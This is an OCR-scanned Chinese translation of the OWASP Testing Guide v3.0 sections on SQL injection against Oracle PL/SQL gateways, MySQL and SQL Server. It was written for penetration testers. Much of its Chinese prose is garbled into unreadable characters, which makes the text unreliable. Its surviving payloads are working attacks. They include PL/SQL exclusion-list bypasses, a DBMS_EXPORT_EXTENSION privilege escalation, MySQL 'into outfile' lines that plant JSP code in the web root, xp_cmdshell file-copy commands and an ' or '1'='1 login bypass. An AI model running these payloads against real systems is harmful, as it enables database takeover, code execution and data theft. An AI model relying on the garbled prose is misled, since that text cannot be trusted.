e jlo--: MySql Blind Injection Bruteforcing, Reversing.org - [sqlbftools]
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http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
http://www.nextgenss.com/research/papers/sqlinference.pdf
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/
https://www.owasp.org/index.php?title=OWASP_SQLiX_Project&action=edit
http://www.sqlpowerinjector.com/index.htm
http://www.reversing.org/node/view/11

€

e  Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

®  Antonio Parata: Dump Files by SQL inference on Mysql - [SqlDumper]

e icesurfer: SQL Server Takeover Tool - [sglninja]

4.8.5.1 ORACLE Jlli

KL
AATHER A web W3k —A™ Oracle Hdfi .

| b

PL / SQL WA FHIET Web [ PL / SQL N HFEF——E WAL Web i R4 s FE A if) . Oracle CETTR T

VR HAFSEBL, LI Web f0iWr 257 i 1] Apache mod plsql #EHLE] XML £fii 4 ¢ XDB ) Web fR55a%. Frfi™ih
1 S AEAESRBEA AT ) . R AR Th s g AT AR I A . {E PL / SQL MG it AR (HAN BT Oracle HTTP
Mk55#%. eBusiness 4. Portal. HTMLDB . WebDB Fll Oracle M FH RS #% .

PR B S
THEPL / SQL PISRanfa TAE
MAJ oK, PL/ SQL WSC R A — AR5 @RI 7 1K) Web 35RO 20 5cHs 42 IR 55 4 T AT
1) Web IR5545 M Web %) 54 2 W SRR & AT it PL / SQL M SCALHE
2 ) PL / SQL PIRFEHIEREHIIAAR R MAZ AL %K
3 ARG MBEFIERE A PL / SQL bF] AL 4516 380 7 e g5 s -
4 BRI IR S5 #IE AT SRR IR A R LA HTML 32 [7] 31 194 56
5 ) WICIHIL Web [ 5% w45 % )™ s A 3L /N

TR — RAREE 2P PL / SQL ARESANRAFAE T Web JIR 55 ds B fr /e T8t iR g5 s o XEMWA, Bihid—
HAFAIPL / SQL MSCEL PL / SQL N HHFEF EHIARAT 55 ril 58 B vl K0 2 I 55 5 AT 19 K AR AN RERELLEIX
Pl o0 B o

PL / SQLWeb W FIREFA () URL T H AR50 0o — Me#RdL R AT 20T (xyz nTLURAEAT 745 d e R 1 U
W IRAT o X RURFAE R BT TR RIER 2 PR . D
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http://sqlmap.sourceforge.net
http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz
http://sqlninja.sourceforge.net
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http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsq|

AN AN AR PL/ SQL M OCTHARAS B AR 1), 1 58— M1 2 kU T Apache FISATIBSHTRAS . 7E
plsql. conf Apache [MHCE A, /pls /2 BME, $8€ PLS AL B AN E o SRITEAL E A IE /pls. 7
URL e Z SO 44 T RER IAFAE Oracle PL / SQL MG, WILA R pghE:

http://www.server.com/aaa/bbb/xxxxx.yyyyy

W xxxxx. yyyyy i “ ebank. home ” « “ store.welcome ” . “ auth.login ” 8¢ “ books. search 7 , 7
ZAFH PL / SQL MRINLEIR K. WA vl BEAETE REAFE T 2 o H BT E & B P 44 - R AE X P 3~ %

FEbE “ webuser ”

http://www.server.com/pls/xyz/webuser.pkg.proc

TEREIREEAT, xyz RECHRPE VS W) #3875 (DAD), DAD f5 E 588 PEAR S %15 B LI PL/ sQL S rTLUERE, ERE G
BEH TNS TR, A4 RENY., Bl 1E%4%, dads.conf Apache it & S I BT AR B wdbsvr.app SCHEIH
fRA R E T DAD. —LEERIA DAD AT :

SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST

DAD

APP
ONLINE

DB

OWA

5 PL / SQL MRETIBAT

PPA 55 A I o T B AR SE B TR AR BT T AL B B A Lo BIINAE B INKh, An RGN EE, R4 B 5
R R BRI E RR BT AET Web (9 PL/SQL NIRRT . 58, ki URL A AOF RSO R
REAARELRS, B0 Tk —Fl. S3AhEAT — & A 2 PL/ SQL RIIAFAE.

R 5525 el NSk
Web fik 55 Wi NSk BEAT Rd 7 Ik 55 s e 71847 PL / SQL P TR 2RA HH — L8 SR (Y I 55 4 Mg A il

Oracle-Application-Server-10g
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Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0

Oracle HTTP Server Powered by Apache

Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsqgl/9.0.2.0.0
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1

Oracle9iAS/9.0.2 Oracle HTTP Server

Oracle9iAS/9.0.3.1 Oracle HTTP Server

null ik
EPL/SQL T “null” Bz mIk

sQL> BEGIN

2 NULL;

3 END;

4/

PL / SQL HIREFP IR 52 K.

FATRT LU & SRR IR 55 g 15 IETES YT PL/ SQL G, B H DAD Fiff il NULL 2K /5 Bt NOSUCHPROC :

http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc

AN SRR S B 55— YR S, 200 OK, 45 —YRIi N 404 Not Found, JF % 0% R4 28 1E 63247 PL/ SQL oK%,

THREAAaAD

75 PL / SQL WCIHRRA, BT LB 37 0 41 5% PL/SQL Web Toolkit FRER A€, 451201 OWA 1 HTP 4, MJF SRS
[ OWA UTIL A2 —, BaE&—A 40 SIGNATURE [RFEFE I e U7 HIML Hfgr s PL / SQL 2544, Rtki
K

http://www.example.com/pls/dad/owa_util.signature

FE W T AR [A] R B

"This page was produced by the PL/SQL Web Toolkit on date"
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o

"This page was produced by the PL/SQL Cartridge on date"

U R AR AR BE RN, {ECE] 403 Forbidden FI[RIN, A FRR] LAHERTHY PL / SQL MSRIEAEIZAT . IXIRARAE S e
FRAS BN TR G0 A% A5 2 B o

FEHHRFE SV AR PL / SQL #4EE

PERE PR IR 25 4 P BRI 222510 PL / SQL AP vl BRI IR « AR AN 30X — ST PL / SQL MSEHIRA . 7E
B PL / SQL W SRRAS Hh Iy BH 1 e 3 AR A e 1 R 25 s v Us i) —/MEE PL / SQL . FRATTZ AT 2
OWA_UTIL fUfgIsfT/E = SQL £ if)

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
] DLl HTP LIS 4T i vk JH A o
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>

WARIXIEREHUR GRS . Rk, Oracle 2w HEH T PLSQL HEBRTE 5§ LA (b B e flux Lo g [ iR o 28 130 H A 45
ATATT L SYS.* FF3k P 3K ATA LA DBMS  *FFk i sk« AT & HTP.* B OWA* TSk . SR R AR W Re S8 HERR
ENL, I HHERRTE A BERE LN ZE CTXSYS F1 MDSYS B 6, AT S EE 1% e 4o b 1) B U T <

http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
KRG IR Al A2 AR L, 3K HFE L 200 OK M )3 B4 R iR 45 2870 AR A& a 55 1 (CVE- 2006 — 0265 )
R PL / SQL MRImIH

Z 4K, Oracle PL/SQL M52 BVF 2 i i By, 4EHENEHE R (CVE-2002-0561)  ZEii it (CVE-2002-
0559) . H & [y il AN H e fe i Moty # g HE B R O E N B0 1A IR S A P BT AR PL/SQL B I

2a5t PL / SQL FIHERRE 2

Oracle TLHIKIREME & AU VF B & Set HERRIE B 10 %2 4T . {2 Oracle P2 — AN T XA 2 3 H P FEAHT
—RRIGEE AR . RGP BT DAE PP R http://seclists.org/fulldisclosure/2006/Feb/0011.html

SalHEBRE - 1
) Oracle 2w B (b B3 V5 AT PL / SQL BARAEL I & I HEH PL / SQL HEBRIG b, Wi 7E
schema/package ZFRAT I Hex fAISHAT AT B A% B tab giAeSed %G Ho -

http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
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http://seclists.org/fulldisclosure/2006/Feb/0011.html

€

SEd HeR B 59 2

GRS AT, AR schema/package 44 XTI IIAR AL RE A B ik Seid HEERI . 7E PL/SQL Hh—MRZEdE )
TS, ZATAIS AT BT 2 GOTOstatement, FHRHUNFIEA: <<KNAME>>

http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC

S HERRTE -5 3

fi] L HLAE schema/package #FK EANAXG 5t RE 1L BGE S HERRIE o 5, XA 5VELE Oracle MRS 4%
10g EIVEEMEM o DUNERE S SR NG Ja s 45 A 2 B PR IR 55 4% 5152 X0 K/ NG 1) - DRtk
“SYS” Hl “sys” AR, MiiER “sys” #'F3 404 Not Found. 7EIHRRH 0] LB T 41 J5 7258 b HE B #:

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC

GERLHEER S 17 4
T web IS5 B RVSCRPE IS 35 R R BN, R S8R E T Fee RO, TR SRR, 7
5 (OFF T REAE SRR FE R T ¥ 53— METERLIORS Y7 95 AL Macron S5 0xAF. XA REARVFX
AL

http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC

Sed HERRIE - 5
PL/SQL W5 RELE A S VR I SR~ 0x5C -

http://www. example. com/pls/dad/%5CSYS. PACKAGE. PROC

S HEERE -5 6
KRG HeR G P E 2 FAEI B S % AR ATE R LT

http://www. example. com/pls/dad/foo. bar?xyz=123

IO FH I 55 A K A I 55 4R A T R 81

1 declare

2 rc__number;

3 start_time__ binary_integer;

4 simple_list__ owa_util.vc_arr;

5 complex_list__ owa_util.vc_arr;

6 begin

7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;

10 null;

11 null;

12 simple_list__(1) :="sys.%';

13 simple_list__(2) :='dbms\_%';
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14 simple_list__(3) :='utl\_%';
15 simple_list__(4) :='owa\_%";
16 simple_list__(5) :='owa.%';
17 simple_list__(6) :='htp.%";
18 simple_list__(7) :='htf.%';

19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then

20 rc__:=2;

21 else

22 null;

23 orasso.wpg_session.init();

24 foo.bar(XYZ=>:XYZ);

25 if (wpg_docload.is_file_download) then
26 rc__:=1;

27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();

29 null;

30 null;

31 commit;

32 else

33 rc__:=0;

34 orasso.wpg_session.deinit();

35 null;

36 null;

37 commit;

38 owa.get_page(:data__,:ndata__);

39 endif;

40 end if;

41 :rc__:=rc__;

42 :db_proc_time__ := dbms_utility.get_time—start_time__;
43 end;

OWASP iR FE T v3.0

VERE 19 70 24 47 o 19 AT P SRR AR AE AR “bad “ 74T — EINHRERIG e AR AL SR AR P AR

EIRTFRFE, WLKHAT 24 17 TG0 A E4E 5 XYZ 5.
ARAER T

http://server.example.com/pls/dad/INJECT'POINT

PATLLR I PL/ sQL :

18 simple_list__(7) :='htf.%';

19 if ((owa_match.match_pattern('inject'point’, simple_list__, complex_list__, true))) then

20 rc__:=2;

21 else

22 null;

23 orasso.wpg_session.init();
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24 inject'point;

XEFiERH &R =4 451%: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. ..” &
TIAE 2 AME R SQL o I8 S HERRG o R I . 1556, Bolid fs Z 38 s — MR A 2801 B
ANVEECHERRIE H ) PL/SQL B2/ o A7 5 X MBI AR S 22, filn

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTALWWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

e ASEBRAFAER) (RIFETER IR [El—A 200 0K) o A1 SR BHdi i K
http://server.example.com/pls/dad/orasso.home?FOO=BAR

A 4528 V1% IR [F] “404 File Not Found” , [AI2h orasso. home F&/ 73 AN T B S HUE & b — AN HIRIE T 540, B2,
FEIR M) 404 P AT R THI) PL/SQL:

if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
rc__:=2;
else

null;

orasso.wpg_session.init();

orasso.home(FOO=>:FOO);

TEBAEST A W W 54 B h FOO [IAAAE, T AT LUSATRRE sSQ Lz 74T o B2k, MfiIFRERmr 55

http://server.example.com/pls/dad/orasso.home?);--=BAR

X FEHIT FEmeg PL/SaL :

orasso.home();--=>:);--);

FEBAAET (- ) RN EEPA PR, T A0 AT, XA R 380N 555 4%
Bike B, Mo d sz EERA . el b, KRG AR R RIsATAE A PL / SQL BUORHE. wh H A,
AR LU HTP. PRINT SRATEISCHS, IR IgbeZsl. 1 .
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http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR

X MNIZAE HTML HOR[E— N7 “BAR “F1) 200, X2 TR 5 5 N A WA AUE A 2190 s N 2, /I
LB “BAR “o AR E AR FTRERE FFIXIE N owa_util.cellsprint :

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS

HATAEE SQL, £uHE DML A DDL j5 0, BN — execute immediate :1:

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

HFREEM AR TR . BEEE R SYS BT PL/SQL 33 AU BE 68 56 45 il 5 s Al FE R 254 o il ton, iy
HEFF T DBMS_EXPORT EXTENSTON A ##) SQL v A1l (see http://secunia.com/advisories/19860)

http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20"CREATE%200R%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL";
END;--','SYS',1,'VER',0);END;

PR B 2 X PL/SQL Web N AR
ERBE AV, BAR A E X PL/SQL N R IARED TGV AL, (BT8R 75 Bt JLHEA T 22 AT VP A
SQL ¥E AR

AN SHNIAL SQL yEANI . X LIFTRR A Z K BIEHA . RS SHEASE IR B R R N REIR B S
e FiZimi (GLrPAL$E 404 Not Found errors) o i 38 B 457 v UFIAATAE SQL ¥ E A,

fltn, R A5ME PL / SQLWeb N HFEF SLVFH il i il g A 1 R S

http://www.example.com/pls/bookstore/books.search?author=DICKENS

L i%iE kIR [9] Charles Dickens [ 54%, {H

http://www.example.com/pls/bookstore/books.search?author=DICK'ENS

MR IFIHE R EG 404, 8 Z UL AT REAFAE SQL VEA R W] LUE AR F s SEAT A -

http://www.example.com/pls/bookstore/books.search?author=DICK' | |'ENS

SR F IR H] Charles Dickens 1548, 9B & Al AAfARGSEAAAE SQL ¥ EA.
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http://secunia.com/advisories/19860

=  Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf

=  Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsqgl-2.pdf

= SQLlInjector - http://www.databasesecurity.com/sql-injector.htm

= Qrascan (Oracle Web Application VA scanner) - http://www.ngssoftware.com/products/internet-security/orascan.php

= NGSSQuirrelL (Oracle RDBMS VA Scanner) - http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php

4.8.5.2 MysQL Mk

i) 7L fj #4838

FEL 7 sQL A IR P AT AT L 78 20 PR ek g i N st 2 77 2E sQL Injection . A FHZNA s GERLZERHZE
ﬁi AR sQL T )) REFTARIX RS . B Re Al A sQL v NI sQL gy s . B R VEE R ) RERU R AT saL AR
FUOEEEHE I .

MySQL JIR 55 #4775 LU 2 BTG ZEARR B0 2N R AR o Sl A 11 (1 2 2 o L

P IR S )
pUEERIEEY

H7E MySQL Ji 5 HEE A BRSO BL sQLYEN, AR MysQL FIRCA R AR B R GE b OALIRAN R, 25 B0
ZWiio .

MySQL 7E 4ttt B DG PURRARA . 3.23.x, N 4.0.x, 4.1xH5.0.x. FENRAHIRA 5HA SR G —EDfE.
e From Version 4.0: UNION
e From Version 4.1: Subqueries
e  From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
e  From Version 5.0.2: Triggers

N BFE S 4.0.x ZHTHT MySQL JRAS th T A RERAT Subqueries Fl1 UNION statement, 4 1# 1] Boolean BiFE -+ 0] )&
HEA

NI, BSAETESRPEE—ANE M sQLiF N, 4N Testing for SQL Injection HF IR ¥ sQL 7 A,
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http://www.ngssoftware.com/papers/hpoas.pdf
http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf
http://www.databasesecurity.com/sql-injector.htm
http://www.ngssoftware.com/products/internet-security/orascan.php
http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php
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http://www.example.com/page.php?id=2

TS A
FEFIH] MySQL Ty BE i 06 2007% REAE 75 ] rp 7 77 B ARERAT L, A web TR H 2R T 1515 .
NI MysaL 5 ke .
'A string with \'quotes\"
B, MysQL HEE SIS (N HEFRFTTAS R AE N 7T 75
PRI, 3 SRAZ S R P 7 A T 7 5 A DM RERE IR 384T, T8 LR T il P A~ 241 -
1. Web app escapes single quotes (' =>\')
2. Web app does not escapes single quotes escaped (' =>)
fE MysQL AR GE LGS K. BTG S m nl LLA B AT
B BARENTE TR M40 “password “IF-BAAIIH, ZAFWTR: password like 'A%'
1. The ASClI values in a concatenated hex:

password LIKE 0x4125

2. The char() function:

password LIKE CHAR(65,37)
ZEBEEEN

MySQL Hffa FEERL AR AN SR o BRIT IR 2 AN i, B AT AR 5 U] AFEAFAE T Microsoft SQL Server 25+ 1)
sQL EAN A N AREAZ AR saL dir s

B, N EEREAR S B R

1; update tablename set code='"javascript code' where 1 --

5 B
MysaL 2% 5

R, E S ERNTE IR R AT AR SR K MySQL 2 A B AR S
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MySQL 55 #AFAE A DR B0l PR B R G 2 MySQL R 5 ANl APFRB (/**/ ) & NI
(/%! sql here*/)if, MySQL REXTFLIEAT g b i L e e 2 3 R e oW JLAE O Sl v g i . P4 WL [MySQL manual]
(ZLUE
1/*land 1=0*/
LR
QI RAER mysQL, TP B A BB 445K BEBEMERE -
JRA
SMINEPARIE AR
1. f#i}H] global variable @ @version
2. f#H[VERSION()] B4 %k
3. fEHIINTEER SRS G A S i /*140110 and 1=0%/

if(version >= 4.1.10)
add 'and 1=0' to the query.

XLt R AR
BHiEA:
1 AND 1=0 UNION SELECT @ @version /*

Inferential injection:

1 AND @ @version like '4.0%'

SR

BN 7158 5.0.22-log
sl

MySQL Ik 55 A4 T PRI AL

1. [USER()]: E#ER] MysQL ARS 2RI F
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http://dev.mysql.com/doc/refman/5.0/en/comments.html
http://dev.mysql.com/doc/refman/5.0/en/information-functions.html
http://dev.mysql.com/doc/refman/5.0/en/information-functions.html

2. [CURRENT USER()]: TEFEHATA KN EEH .

12 Z [ AE S8,

I EEN - RO A T AT BOERE (IR e vE) BMEMT AR, 1 MysQL W iS4 ().

OWASP iR FE T v3.0

7 AR AEAE T R Al IR A i o S e T AT EATRAT, I KRR g s A . A

CURRENT_USER HJ BA T fiffix— s .
BHiEA:

1 AND 1=0 UNION SELECT USER()
HEHE

1 AND USER() like 'root%'

LR

GRIXFEN) 77 :  user@hostname
A5 FH BRI 5000 PR A4 P

JR 45Tl fiE DATABASE()

HiEA:

1 AND 1=0 UNION SELECT DATABASE()
HEBLVE N :

1 AND DATABASE() like 'db%'

S5 R0

GOXFENT 17 dbname

INFORMATION_SCHEMA

M MysQL 5.0 JT4f, QI T 4 4 [[INFORMATION SCHEMAJIHLK, EMEFATREWIRAGLARE . R FILURFEF AL

RERIATA 15 B
NI A AT TR AL L A

Tables_in_INFORMATION_SCHEMA

DESCRIPTION
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http://dev.mysql.com/doc/refman/5.0/en/information-functions.html
http://dev.mysql.com/doc/refman/5.0/en/information-schema.html

..[skipped].. ..[skipped]..

SCHEMATA All databases the user has (at least) SELECT_priv
SCHEMA_PRIVILEGES The privileges the user has for each DB

TABLES All tables the user has (at least) SELECT_priv
TABLE_PRIVILEGES The privileges the user has for each table
COLUMNS All columns the user has (at least) SELECT_priv
COLUMN_PRIVILEGES The privileges the user has for each column
VIEWS All columns the user has (at least) SELECT_priv
ROUTINES Procedures and functions (needs EXECUTE_priv)
TRIGGERS Triggers (needs INSERT_priv)

USER_PRIVILEGES Privileges connected User has

A sQL AT A K QAR AT LRI X LB

Gy ]y

B

USR] A SR _and _ 5 15 AN, &l LU T into outfile 453K, 7ESCHF P il 4 2R

Select * from table into outfile '/tmp/file'

M W EE INEGT T R R . R RN PR S S T — e pE R e, andetd (D, IBLKIETE
18 F'into outfile' 45 3%

XSG AT REBHI A EEIRIE (00B) LUH SR A 45 A5 B o 5 BEAE web k5545 H s Hh AT I S0 F
1

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY "\n<%jsp code here%>';

P SR
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GIRAF i E MysaL P IG5 A rw-rw-rw BRI 3CF

Svar/www/root/test jsp 5 :

//field values//
<%jsp code here%>

BB

Load_file /£ 2 SCAF R G B BRI I i 4 bR KL

B SR—ANIEH T A STl RUAE ] & RSO 9 2

i 2 AT B B A B AT LLGE R, H5 5 e id € .
load_file('filename’)

AP S TR

T EHHFRERAR ] LUy 1 213 F

FRYE sQL = AT

OWASP iR FE T v3.0

FEARAERT SQL A, ARAT LR 45 FAZRIEF AN B MySQL 8508 —FF B s M 0t b Sl i H]_EIRSE 21 saL
TEABGEMPTE ) MysQL Dhfg, T URFASE R — € SR AR SQUIEN, X T ZBNE E M B il il i

MySQL fiiA
i
i 2 % [[MySQL Manual] .
AP E%EE (00B) sQLiEA
AR N AT LA finto outfile' 4% 1456 A«
saL 5EA
At MysaL Ik saL BEYEALRME—EAH K DhAg.
o  FRAHRKE
LENGTH(str)
o FREFRE P RECT

SUBSTRING(string, offset, #chars_returned)

T X0 PR K/ R P IR 55 A AN B AR HHR AT I BOBGHE REA BUA R S5 R . MySQL A H BRI L, e R R AR T
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http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html
http://www.owasp.org/index.php/MySQL_Testing_AoC

€

o JLTHIM A ETE: BENCHMARK Fll SLEEP
BENCHMARK(#ofcicles,action_to_be_performed )
Y Boolean {H (1) B AANREF= AEATAT 45 5 0F,  Benchmark Dhfig v] LS 12847 € i Mok
23 W, SLEEP() (MySQL > 5.0.x) &AL 3545 .

MFRHE R, 1557 http://dev.mysgl.com/doc/refman/5.0/en/functions.html

= Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

=  Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt

=  Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqglpowerinjector.com/index.htm

= jlo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools

=  Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sglmap.sourceforge.net

=  Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sgldumper.src.tar.gz

4.8.5.3 SQL SERVER Jljit

KL

TEAT A He— 28] Microsoft SQL Server [F)45 i THREM) SQL Injection A,

|

FEZH 3 sQU AT I AT REA TR 7 20 IR el DR i A gt 272 SQL Injection Il . A1 ZhAS saL G iEHHE
AT sQL i) R AR AN R, BGHE REALT sQL AV IR sQL RS ds AR T AR R AT ] T e
fty saL frg.

IEANAE sQL Injection Frifidry, FI sQUIEATERAR: — DA KU EAEA BRI o AT 28t B TR e AL 2R
(P 2 I 2R T e B ) — A il . IX A

o  EBEWTLFERPHINHFEFFSE (Fin, GET requests)
o HLETE POST iR T AARHE 7 b I N H B 7 244

o WIMEERATRAER (Flhn, user-agent, referrer)
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http://dev.mysql.com/doc/refman/5.0/en/functions.html
http://www.nextgenss.com/papers/HackproofingMySQL.pdf
http://www.f-g.it/papers/blind-zk.txt
http://www.sqlpowerinjector.com/index.htm
http://www.reversing.org/node/view/11
http://sqlmap.sourceforge.net
http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/SQL_Injection
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o ENLFAHAEE CnEHLL, 1P)
o LA RWMEE (W ID, cookie)

Microsoft SQL server 1 — S8Rl (K14 p5 BT 22 0 0 N FH 75 B8 o) o o) il (4 7 7

R 0 1 S 45
sQL Server RF4iE
e, ARIRAT TR LR sQUIE AR TG HIE sQL Server AR A& /A7 AL T
o TRRHRAERT: —— OO0l Al 2N JsUn 2l R R s AT IR IEAN R B LA )
o HMITRETT: ; (735D
o SR

o [ xp_cmdshell 1 HAH R AN BRAE AR 45 2 1 AT M TS AT IR AT 3 2 shell. BRIARE G, R
sysadmin %5 B 0V AT LUSE ‘e, {HAE SQL Server 2005 T A SCHFERIA B E (ffiH sp_configure 7] LA
FRRAEH D

o xp_regread MWLM R UTEAE CRAHY i)
o xp_regwrite G ANTEMERNTME CRATFY R

o [sp_makewebtask | AT I 7EFAF 74— Windows 74> shell FIEATUE. AT H #5R (] 5T
AAT . 'l ERGE AR

o [xp_sendmail ] % — & HFHBAF 2R 2 e N, HorbT ge S — N A gl IR . XN
TEREFETALF sQL Mail Sk & 3% mp -

IERATE B — LA IR Th R E 1 SQL Server BUki (sl . KZHB KA exec ThRg.

NP FEAR W AT A shell fir4,  ATRLFE TSSO S Hd 4 dir c:\inetpub %S5 2R, (B Web JIk%5 #8
AEAE R G5 2 AL T[] A ML R TEILAE T xp_cmdshell -

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
FA, AT LAE A sp_makewebtask:

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
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€

RINPATH AN — BB RE vl W R A S E . 504, sp_makewebtask RIS GELEE I 2005 1) SQL Server f A<
FAER, e AR e o I A R AR K AT Be 2 B Bk o

Ak, sQL Server A B DI REFIIAMGAZ B Z AR A . TIHAIAE DI EE db_name()] LUl A — MR, Kk 0] %
A PR

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
TER [convert] T :
CONVERT ( data_type [ (length )], expression [, style])

CONVERT 221K db_name (AR HI) FIGE R — MBI Pl A — MR, W SRAZAE Il (0 B Ry S s
TOREER, e Bl A K o

DL 74 FH A 555 AR 1 @ @version , 4563 "union select"——8 My N, $kF sQL Server FIIA .
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat’,'namel’,'name2',2006-01-06,1, @ @version%20--

T T R R B, AR IR A R A G -
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@ @VERSION)

W R — A sQL 7 A B s BEE AR sQL WEWT g i BCsE B 15 B TR saL Server BAIRTRAER A,
T i g3t AR RN D SR saL FEA IR,
%1 1: GET &K K sQL 7= AUl

WA AN ERA B X)) 1F IR P8 il R H P 4 RV ) — AN T, A8 T LA 5 A DL T 745 82
“lor1'="1"  (REMF|F)

https://vulnerable.web.app/login.asp?Username='%200r%20'1'='1&Password='%200r%20'1'='1

AN A I BhAS saL A if), I HA A ERBEINEI A - B UF S UE &), 1X AT RE S B I A R BN N R
1 2: GET 3K sQL HE AR

TIRAAEZ DB
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
1 3:POST R MR

SQL VN, HTTP POST N%: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

—ANSEREN) POST S«
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POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1

Host: vulnerable.web.app

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5

Accept-Charset: 1ISO-8859-1,utf-8;q=0.7,*;9=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://vulnerable.web.app/forgotpass.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

ML I BUR N CRE1S) FAFINRA AR R 15 H
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string
/forgotpass.asp, line 15

1 4: 55—~ GET L4

AT R BT AAS
a'; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

% 5: B 5E X xp_cmdshell

T ik sQL Server ffE 2 Ak P EEFN SO ERE ICAE sQL Server 2000 H12EH xp_cmdshell  (fF SQL Server 2005
